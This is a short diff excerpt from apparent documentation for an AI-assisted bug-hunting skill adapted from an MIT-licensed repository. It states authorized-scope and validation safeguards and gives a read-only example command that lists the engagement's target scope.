+ - Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
341
+ - Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
342
+ - Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
343
+
344
+ ### Example
345
+
346
+ ```bash
347
+ # Read-only first step; confirm scope before anything active.
348
+ cat scope.txt # target list from the authorized engagement brief
349
+ ```
350
+
351
+ > Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.